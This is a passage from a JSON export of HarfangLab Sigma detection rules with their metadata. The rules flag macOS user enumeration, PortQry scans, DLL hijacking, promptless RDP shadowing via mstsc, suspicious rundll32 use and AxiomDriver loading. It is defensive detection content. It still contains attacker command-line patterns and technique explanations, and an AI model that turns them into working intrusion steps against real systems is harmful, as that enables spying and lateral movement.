+  "content": "title: Local Users Discovered via Directory Folder Enumeration\nid: 275861d7-b2ec-4257-ae50-654b26b72c18\ndescription: |\n    Detects a read access to plist file describing local user accounts.\n    Adversaries may enumerate local users by listing and reading the plist files located in \"/private/var/db/dslocal/nodes/Default/users/\".\n    It is recommended to check for malicious behaviors by the process accessing the plist files.\nreferences:\n    - https://attack.mitre.org/techniques/T1087/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection:\n        Kind: 'read'\n        Path: '/private/var/db/dslocal/nodes/Default/users/*.plist'\n        ProcessImage|contains: '?'\n\n    exclusion_haxm:\n        - ProcessGrandparentImage: '/usr/local/haxm/haxm-launcher'\n        - Image: /usr/local/haxm/*/haxm'\n\n    exclusion_broadcom:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.broadcom.mes.systemextension'\n\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_systemmigrationd:\n        Image: '/System/Library/PrivateFrameworks/SystemMigration.framework/Versions/A/Resources/systemmigrationd'\n\n    exclusion_antivirus:\n        Image:\n            - '/usr/local/McAfee/AntiMalware/VShieldScanner'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/Kaspersky Anti-Virus For Mac.app/Contents/MacOS/kavd.app/Contents/MacOS/kavd'\n            - '/Applications/Acronis True Image.app/Contents/MacOS/backup_worker'\n            - '/Applications/Check Point/Agents/Check Point Endpoint Security.app/Contents/MacOS/Check Point Endpoint Security'\n            - '/Library/Application Support/Checkpoint/Forensics/cpefrd'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "275861d7-b2ec-4257-ae50-654b26b72c18",
+  "rule_name": "Local Users Discovered via Directory Folder Enumeration",
+  "rule_description": "Detects a read access to plist file describing local user accounts.\nAdversaries may enumerate local users by listing and reading the plist files located in \"/private/var/db/dslocal/nodes/Default/users/\".\nIt is recommended to check for malicious behaviors by the process accessing the plist files.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "27dcb042-5c3f-47ce-b363-1edd3a71ee8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083830Z",
+  "creation_date": "2026-03-23T11:45:34.083832Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083836Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/",
+    "https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/portqry-command-line-port-scanner-v2",
+    "https://ss64.com/nt/portqry.html",
+    "https://attack.mitre.org/techniques/T1046/"
+  ],
+  "name": "t1046_portqry.yml",
+  "content": "title: PortQry Port Scanner Execution\nid: 27dcb042-5c3f-47ce-b363-1edd3a71ee8e\ndescription: |\n    Detects the execution of PortQry.exe, a legitimate command-line tool that can be used to help troubleshoot TCP/IP connectivity issues.\n    Attackers may abuse this tool to check the status of UDP or TCP ports.\n    It is recommended to verify if the usage of this tool is legitimate by correlating it to other discovery or enumeration activities.\nreferences:\n    - https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/\n    - https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/portqry-command-line-port-scanner-v2\n    - https://ss64.com/nt/portqry.html\n    - https://attack.mitre.org/techniques/T1046/\ndate: 2021/09/07\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1046\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.PortQry\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\PortQry.exe'\n        - ProcessImphash:\n            - 'EAF3CCAC8F9CE1C008FAE9F3689F32A8'\n            - '2FAF3EC96381D74FEAA1EB3851B607B9'\n\n    exclusion_vatech:\n        ProcessParentImage: '?:\\Program Files (x86)\\VATECH\\EzWebServer\\VTEzWebServerService32.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "27dcb042-5c3f-47ce-b363-1edd3a71ee8e",
+  "rule_name": "PortQry Port Scanner Execution",
+  "rule_description": "Detects the execution of PortQry.exe, a legitimate command-line tool that can be used to help troubleshoot TCP/IP connectivity issues.\nAttackers may abuse this tool to check the status of UDP or TCP ports.\nIt is recommended to verify if the usage of this tool is legitimate by correlating it to other discovery or enumeration activities.\n",
+  "rule_creation_date": "2021-09-07",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "27e472ab-b990-4384-a844-2c508ddc3b57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592789Z",
+  "creation_date": "2026-03-23T11:45:34.592795Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592807Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/netero1010/ServiceMove-BOF/",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/",
+    "https://attack.mitre.org/techniques/T1569/002/"
+  ],
+  "name": "t1574_001_phantom_dll_hijacking_perception_simulation_service.yml",
+  "content": "title: Phantom DLL Hijacking via Windows Perception Simulation Service\nid: 27e472ab-b990-4384-a844-2c508ddc3b57\ndescription: |\n    Detects a potential Windows DLL search order hijacking via Windows Perception Simulation Service.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/netero1010/ServiceMove-BOF/\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\n    - https://attack.mitre.org/techniques/T1569/002/\ndate: 2022/05/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'PerceptionSimulationService.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded: '?:\\Windows\\System32\\PerceptionSimulation\\hid.dll'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "27e472ab-b990-4384-a844-2c508ddc3b57",
+  "rule_name": "Phantom DLL Hijacking via Windows Perception Simulation Service",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via Windows Perception Simulation Service.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-05-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2818d2e9-4f77-4a8c-aae1-98bf4fe8c190",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626503Z",
+  "creation_date": "2026-03-23T11:45:34.626504Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626509Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing",
+    "https://swarm.ptsecurity.com/remote-desktop-services-shadowing/",
+    "https://x.com/kmkz_security/status/1220694202301976576",
+    "https://attack.mitre.org/techniques/T1563/002/"
+  ],
+  "name": "t1563_002_rdp_shadow_session_via_mstsc.yml",
+  "content": "title: Promptless RDP Shadow Session Connected via Mstsc\nid: 2818d2e9-4f77-4a8c-aae1-98bf4fe8c190\ndescription: |\n    Detects a command-line containing parameters for the Remote Desktop Connection Client (mstsc), to log into an RDP Shadow Session without prompting for the user's consent.\n    This action does not trigger an authorization pop-up, if the correct registry key is set to \"2\" or \"4\" on the target machine and the \"/noconsentprompt\" option is used.\n    This can be used by attackers to spy or hijack an user's RDP session, as a means of acquiring credentials or moving laterally through the network.\n    To investigate this action, you can check the following registry value in the target machine: \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\"\n        0 - No remote control allowed;\n        1 - Full Control with user's permission;\n        2 - Full Control without user's permission;\n        3 - View Session with user's permission;\n        4 - View Session without user's permission.\n    This can also be allowed through group policy.\n    This may be a legitimate action from a tech support team.\n    It is recommended to check for other malicious actions on the targeted machine and to investigate current RDP sessions through the authentication telemetry.\nreferences:\n    - https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing\n    - https://swarm.ptsecurity.com/remote-desktop-services-shadowing/\n    - https://x.com/kmkz_security/status/1220694202301976576\n    - https://attack.mitre.org/techniques/T1563/002/\ndate: 2023/08/25\nmodified: 2026/01/12\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1563.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: 'mstsc.exe'\n        CommandLine|contains|all:\n            - ' ?v'\n            - ' ?shadow'\n            - ' ?noconsentprompt'\n\n    exclusion_galinette:\n        - ParentImage|endswith: '\\Galinette cendrée\\Galinette cendrée.exe'\n        - GrandparentImage|endswith: '\\Galinette cendrée\\Galinette cendrée.exe'\n        - ProcessParentOriginalFileName: 'Galinette cendrée.exe'\n\n    exclusion_32bits:\n        Image: '?:\\Windows\\System32\\mstsc.exe'\n        ParentImage: '?:\\Windows\\SysWOW64\\mstsc.exe'\n\n    exclusion_images:\n        - ParentImage:\n            - '?:\\Windows\\System32\\ServerManager.exe'\n            - '*\\Ivanti\\Workspace Control\\pwrtech.exe'\n            - '?:\\Program Files (x86)\\LizardSystems\\Terminal Services Manager\\tsmanager.exe'\n            - '?:\\Program Files\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\LaunchShadow64.exe'\n            - '?:\\Program Files (x86)\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\LaunchShadow64.exe'\n            - '?:\\Program Files\\Royal TS V?\\RoyalTS.exe'\n        - GrandparentImage:\n            - '?:\\Program Files (x86)\\baramundi\\Management Center\\bMC.exe'\n            - '?:\\Program Files\\Devolutions\\Remote Desktop Manager\\RemoteDesktopManager.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2818d2e9-4f77-4a8c-aae1-98bf4fe8c190",
+  "rule_name": "Promptless RDP Shadow Session Connected via Mstsc",
+  "rule_description": "Detects a command-line containing parameters for the Remote Desktop Connection Client (mstsc), to log into an RDP Shadow Session without prompting for the user's consent.\nThis action does not trigger an authorization pop-up, if the correct registry key is set to \"2\" or \"4\" on the target machine and the \"/noconsentprompt\" option is used.\nThis can be used by attackers to spy or hijack an user's RDP session, as a means of acquiring credentials or moving laterally through the network.\nTo investigate this action, you can check the following registry value in the target machine: \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\"\n    0 - No remote control allowed;\n    1 - Full Control with user's permission;\n    2 - Full Control without user's permission;\n    3 - View Session with user's permission;\n    4 - View Session without user's permission.\nThis can also be allowed through group policy.\nThis may be a legitimate action from a tech support team.\nIt is recommended to check for other malicious actions on the targeted machine and to investigate current RDP sessions through the authentication telemetry.\n",
+  "rule_creation_date": "2023-08-25",
+  "rule_modified_date": "2026-01-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1563.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "281f705b-e61c-4ad3-b64b-ae5c64efa352",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094602Z",
+  "creation_date": "2026-03-23T11:45:34.094604Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094608Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/0xcarnage/status/1203882560176218113",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mmc.yml",
+  "content": "title: DLL Hijacking via mmc.exe\nid: 281f705b-e61c-4ad3-b64b-ae5c64efa352\ndescription: |\n    Detects potential Windows DLL Hijacking via mmc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/0xcarnage/status/1203882560176218113\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mmc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\duser.dll'\n            - '\\uxtheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "281f705b-e61c-4ad3-b64b-ae5c64efa352",
+  "rule_name": "DLL Hijacking via mmc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mmc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "285da8d5-91f1-498c-a29d-7b48551fd5c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628239Z",
+  "creation_date": "2026-03-23T11:45:34.628241Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628245Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_sus_rundll32_extension.yml",
+  "content": "title: DLL Execution with Suspicious Extension via RunDLL32\nid: 285da8d5-91f1-498c-a29d-7b48551fd5c5\ndescription: |\n    Detects the suspicious execution of rundll32.exe with an unusual DLL file extension.\n    Adversaries may place DLLs on disk and attempt to mask them as other types of files by changing their file extensions to avoid detection.\n    It is recommended to investigate the process tree of RunDLL32 to look for suspicious processes and analyze the loaded DLL for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2023/01/18\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Rundll32\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'RUNDLL32.EXE'\n        CommandLine|contains:\n            - 'rundll32.exe *.?,'\n            - 'rundll32.exe *.?'\n            - 'rundll32.exe *.??,'\n            - 'rundll32.exe *.??'\n            - 'rundll32.exe *.???,'\n            - 'rundll32.exe *.???'\n\n    # This is handled by the rule 54a90583-1d04-484b-a12c-b7e9d9a557ed\n    filter_pdb:\n        CommandLine|contains: '.pdb'\n\n    filter_known_extensions:\n        CommandLine|contains:\n            - 'rundll32*.dll'\n            - 'rundll32*.tmp'\n            - 'rundll32*.ocx'\n            - 'rundll32*.cpl'\n            - 'rundll32*.inf'\n            - 'rundll32*.wcx'\n\n    exclusion_programfiles:\n        CommandLine|startswith:\n            - 'rundll32.exe ?:\\Program Files\\'\n            - 'rundll32.exe ?:\\Program Files (x86)\\'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Program Files\\'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Program Files (x86)\\'\n\n    exclusion_ssnetmon:\n        CommandLine|startswith: 'rundll32 ?:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\ssnetmon.d64,'\n\n    exclusion_mojo1:\n        CommandLine|contains|all:\n            - '--mojo-platform-channel-handle='\n            - '--no-sandbox '\n            - '--log-file='\n    exclusion_mojo2:\n        CommandLine|contains|all:\n            - '--mojo-platform-channel-handle='\n            - '--no-sandbox '\n            - '--field-trial-handle='\n    exclusion_mojo3:\n        CommandLine|contains|all:\n            - '--supports-dual-gpus='\n            - '--no-sandbox '\n            - '/prefetch:'\n\n    exclusion_seagull:\n        CommandLine:\n            - 'RunDLL32.exe ?:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\ss#*,DAL_Proxy \\\\\\\\.\\pipe\\Seagull-DriverDLLProxy-????????'\n            - 'RunDLL32.exe ?:\\Seagull\\ssnetmon.d64,CallAddPort *'\n\n    exclusion_musnotofication:\n        CommandLine:\n            - 'rundll32.exe ?:\\Windows\\system32\\MusNotification.exe'\n            - 'rundll32.exe ?:\\Windows\\system32\\MusNotification.exe Display'\n            - 'rundll32.exe ?:\\Windows\\system32\\MusNotification.exe LogonUpdateResults'\n        ParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_runtelemetry:\n        CommandLine|startswith: '?:\\WINDOWS\\system32\\rundll32.exe invagent,RunUpdate -noappraiser '\n        ParentCommandLine: '?:\\Windows\\system32\\rundll32.exe generaltel.dll,RunTelemetry -maintenance'\n\n    exclusion_canon:\n        CommandLine: '?:\\Windows\\system32\\rundll32.exe fdprint,InvokeTask /ss *#schemas.canon.com#Scanner#*'\n\n    exclusion_powrprof:\n        CommandLine: '?:\\Windows\\System32\\rundll32.exe powrprof. dll,SetSuspendState 0,1,0'\n\n    exclusion_invagent:\n        CommandLine|startswith: '?:\\WINDOWS\\system32\\rundll32.exe invagent,RunUpdate -noappraiser'\n\n    exclusion_dllinstall:\n        CommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\rundll32.exe Oc????.tsp,DllUninstallServer'\n            - '?:\\WINDOWS\\system32\\rundll32.exe Oc????.tsp,DllInstallServer'\n\n    exclusion_ffdshow:\n        CommandLine: '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\WINDOWS\\system32\\ffdshow.ax,configure'\n\n    exclusion_radvision:\n        CommandLine: '?:\\Windows\\System32\\rundll32.exe ?:\\Users\\\\*\\AppData\\Local\\Radvision\\Installer\\Package\\ClientInst0.pkg,PkgEntry -uninstall'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "285da8d5-91f1-498c-a29d-7b48551fd5c5",
+  "rule_name": "DLL Execution with Suspicious Extension via RunDLL32",
+  "rule_description": "Detects the suspicious execution of rundll32.exe with an unusual DLL file extension.\nAdversaries may place DLLs on disk and attempt to mask them as other types of files by changing their file extensions to avoid detection.\nIt is recommended to investigate the process tree of RunDLL32 to look for suspicious processes and analyze the loaded DLL for malicious content.\n",
+  "rule_creation_date": "2023-01-18",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2875d97b-8f0e-472b-ad97-f7356e74eea6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078035Z",
+  "creation_date": "2026-03-23T11:45:34.078037Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078041Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mallo-m",
+    "https://github.com/ASkyeye/CVE-2018-19320"
+  ],
+  "name": "t1562_001_axiomdriver_loaded.yml",
+  "content": "title: AxiomDriver Loaded\nid: 2875d97b-8f0e-472b-ad97-f7356e74eea6\ndescription: |\n    Detects the loading of the Axiom driver.\n    Axiom are tools used for malicious activities such as dumping the LSASS' process memory or loading shellcodes using different techniques to avoid being detected by security tools such as EDRs.\n    Axiom can exploit CVE-2018-19320 in the GIGABYTE driver, allowing an attacker to disable Driver Signing Enforcement (DSE), which enables them to load malicious and unsigned drivers.\n    It is recommended to investigate the execution context and drivers loaded before this one to determine if a vulnerable driver has not already been loaded beforehand to disable DSE.\nreferences:\n    - https://github.com/mallo-m\n    - https://github.com/ASkyeye/CVE-2018-19320\ndate: 2025/03/26\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: driver_load\n    product: windows\ndetection:\n    selection:\n        ImageLoaded: '?:\\Windows\\System32\\Drivers\\AxiomDriver.sys'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2875d97b-8f0e-472b-ad97-f7356e74eea6",
+  "rule_name": "AxiomDriver Loaded",
